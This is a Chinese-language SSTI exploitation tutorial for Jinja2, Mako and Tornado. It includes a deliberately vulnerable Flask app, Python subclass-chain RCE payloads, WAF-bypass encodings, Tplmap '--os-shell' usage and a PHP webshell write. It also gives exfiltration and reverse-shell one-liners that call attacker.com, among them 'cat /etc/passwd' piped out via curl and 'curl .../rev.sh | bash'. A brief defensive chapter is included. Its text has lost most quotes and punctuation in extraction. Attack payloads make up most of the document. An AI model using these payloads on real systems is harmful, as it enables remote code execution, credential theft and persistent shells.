
第一章Web模板引擎与SSTI基础1.1 什么是模板引擎模板引擎是一种将动态数据嵌入静态模板文件最终生成 HTML 或其他文本格式的技术。在 Python Web 开发中常见的模板引擎包括Jinja2Flask、FastAPI通过 jinja2默认使用功能强大语法类似 Django。MakoPylons、Pyramid 等框架使用语法灵活。Tornado自带模板引擎。Django自带模板引擎Django Templates安全机制相对严格。1.2 SSTI服务器端模板注入原理当开发者错误地将用户输入直接拼接进模板字符串或使用render_template_string等函数且未对输入进行过滤时攻击者可以注入模板语法在服务器端执行任意代码。典型危险代码Flask Jinja2pythonfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/hello) def hello(): name request.args.get(name, World) template h1Hello, name !/h1 return render_template_string(template)攻击者访问/hello?name{{7*7}}页面输出49证明存在 SSTI。1.3 注入点定位SSTI 常出现在URL 参数POST 表单数据HTTP 头User-Agent、X-Forwarded-For 等Cookie 值文件上传内容如果文件名或内容被模板渲染测试Payloadjinja2{{ 7*7 }} {{ 7*7 }} ${7*7} {{config}} {{self}}第二章Python SSTI 利用链深度解析2.1 Python 对象模型与继承链在 Python 中一切都是对象。利用 SSTI 的核心是通过__class__、__base__、__mro__、__subclasses__()等魔法属性从任意基础对象如字符串、空列表出发找到可执行系统命令的类。经典利用链Jinja2python.__class__.__mro__[1].__subclasses__()2.1.1 关键属性解释属性作用__class__返回对象所属的类__bases__/__base__返回类的父类元组__mro__方法解析顺序可用于获取继承链__subclasses__()返回类的所有子类列表__globals__返回函数所在模块的全局变量字典常包含危险函数__builtins__内建函数模块包含eval、exec、open等2.1.2 子类索引定位法获取所有子类后需要找到能够执行命令的类。常见的“万能类”有class os._wrap_close包含os模块class warnings.catch_warnings包含__builtins__class subprocess.Popen直接执行命令查找命令执行类的脚本pythonfor i, cls in enumerate(.__class__.__mro__[1].__subclasses__()): if os in str(cls.__init__.__globals__.get(os, )): print(i, cls)2.2 Jinja2 专用利用技巧2.2.1config对象在 Flask Jinja2 中{{config}}可以直接访问应用配置甚至可能泄露 SECRET_KEY。2.2.2self与request对象{{self.__class__.__mro__[1].__subclasses__()}}{{request.application.__globals__.__builtins__.__import__(os).popen(id).read()}}2.2.3 过滤器滥用Jinja2 的过滤器本质是 Python 函数可以调用jinja2{{ .__class__.__mro__[1].__subclasses__()|attr(__getitem__)(133) }}2.3 Mako 模板注入Mako 使用${...}作为表达式标记利用方式更直接python${__import__(os).system(whoami)}Mako 还允许直接调用context对象python${context[__import__](os).system(id)}2.4 Tornado 模板注入Tornado 模板默认会转义输出但使用{% raw %}或{{ ... }}时仍可能注入python{{ __import__(os).system(ls) }}第三章高级利用与绕过技术3.1 绕过 WAF 与黑名单很多 WAF 会过滤__class__、__subclasses__、os、system等关键词。3.1.1 字符串拼接jinja2{{[__class__]}}3.1.2 使用request参数传递jinja2{{request[__class__]}}或通过 GET 参数text{{ request.args.__class__ }}3.1.3 利用attr()过滤器jinja2{{ .__class__|attr(__mro__)|attr(__getitem__)(1)|attr(__subclasses__)() }}3.1.4 利用|与join绕过jinja2{{[__class__]}}等价于jinja2{{|attr(__class__)}}3.1.5 编码与 Unicode 混淆某些情况下可以使用 Unicode 等价字符__class__→__cl\u0061ss__十六进制\x5f\x5fclass\x5f\x5f3.2 无回显利用当页面没有直接输出时可以通过 DNSLog、HTTP 请求、写文件等方式获取执行结果。3.2.1 使用requests发送数据python{{().__class__.__mro__[1].__subclasses__()[440](curl http://attacker.com/?data$(cat /etc/passwd | base64),shellTrue)}}索引可能因 Python 版本而异3.2.2 通过socket建立反向 Shellpython{{().__class__.__mro__[1].__subclasses__()[440](python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\attacker.com\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\/bin/bash\,\ -i\]),shellTrue)}}3.3 Python 沙盒逃逸某些情况下模板运行在受限环境中如eval被禁用、__builtins__被清空需要更复杂的逃逸。3.3.1 通过__builtins__恢复python{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__[__builtins__][__import__](os).system(id)}}3.3.2 通过warnings.catch_warnings的__init__python{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ catch_warnings %}{{c.__init__.__globals__[__builtins__].eval(__import__(os).system(id))}}{% endif %}{% endfor %}3.4 利用os.environ与subprocess当os.system被禁用时可以尝试os.popen.read()subprocess.Popensubprocess.check_outputpython{{.__class__.__mro__[1].__subclasses__()[440](cat /etc/passwd,shellTrue,stdout-1).communicate()}}第四章自动化工具与项目实践4.1 TplmapSSTI 自动化检测与利用Tplmap 是专门针对 SSTI 的渗透测试工具支持 Jinja2、Mako、Tornado 等多种引擎。安装bashgit clone https://github.com/epinna/tplmap cd tplmap pip install -r requirements.txt基本使用bash# 检测 python tplmap.py -u http://target.com/hello?name* # 指定注入点 python tplmap.py -u http://target.com/hello?name* --os-cmd id # 获取交互式 Shell python tplmap.py -u http://target.com/hello?name* --os-shell高级用法--engine手动指定模板引擎如 Jinja2--level设置检测深度1-5--upload上传文件4.2 自定义 Burp Suite 插件使用 Burp 的 Intruder 配合字典批量测试 SSTI Payload。推荐使用Turbo Intruder进行高并发测试。4.3 其他辅助工具Jinja2-tester本地快速验证 PayloadSSTImapTplmap 的升级版支持更多引擎和特性Python SSTI Payload Generator自动生成 Payload 脚本4.4 实战项目搭建脆弱环境使用 Docker 搭建 Flask Jinja2 脆弱应用dockerfileFROM python:3.8-slim RUN pip install flask COPY app.py /app.py CMD [python, /app.py]app.py存在 SSTIpythonfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) template fh1Hello {name}/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000)第五章防御措施与安全编码5.1 根本解决方案永远不要使用render_template_string拼接用户输入。使用render_template并传入上下文变量。pythonreturn render_template(hello.html, namename)启用 Jinja2 沙箱sandboxedTrue但注意沙箱并非完全安全。5.2 输入过滤与白名单对用户输入进行严格过滤只允许字母数字。使用正则表达式限制模板变量名。5.3 使用安全配置pythonapp.jinja_env.globals.update(__builtins__{}) # 移除内置函数 app.jinja_env.autoescape True # 开启自动转义5.4 升级依赖定期更新 Flask、Jinja2 等依赖避免已知绕过漏洞。5.5 使用 WAF 规则部署 ModSecurity 等 WAF配置规则拦截__class__、__subclasses__等关键词。第六章实战案例深度分析案例一Flask 应用 RCE场景某博客应用允许用户自定义页面标题开发者使用render_template_string拼接标题。Payloadtext{{.__class__.__mro__[1].__subclasses__()[440](cat /flag.txt,shellTrue,stdout-1).communicate()[0]}}结果获取服务器 flag。案例二绕过黑名单过滤场景WAF 拦截了__class__、os、system等关键词。绕过 Payloadjinja2{{request|attr(application)|attr(\x5f\x5fglobals\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fbuiltins\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fimport\x5f\x5f)(os)|attr(popen)(id)|attr(read)()}}案例三Mako 模板注入场景某网站使用 Mako 渲染错误页面将异常信息传入模板。Payloadpython${self.module.cache.util.os.system(curl http://attacker.com/rev.sh | bash)}结果反弹 Shell。第七章附录7.1 Python 各版本通用 Payload 索引以下 Payload 在不同 Python 版本中可能索引不同需动态测试目标Payload 示例获取所有子类.__class__.__mro__[1].__subclasses__()执行命令 (os.system)[].__class__.__base__.__subclasses__()[140].__init__.__globals__[system](id)执行命令 (subprocess)[].__class__.__base__.__subclasses__()[137](id, shellTrue, stdout-1).communicate()读文件().__class__.__bases__[0].__subclasses__()[40](/etc/passwd).read()写 WebShell[].__class__.__base__.__subclasses__()[40](/tmp/shell.php,w).write(?php eval($_GET[1]);?)7.2 常见子类索引Python 3.8os._wrap_close索引约 140-160subprocess.Popen索引约 400-450warnings.catch_warnings索引约 170-1907.3 学习资源Jinja2 官方文档PortSwigger SSTI 教程SSTI 利用 Wiki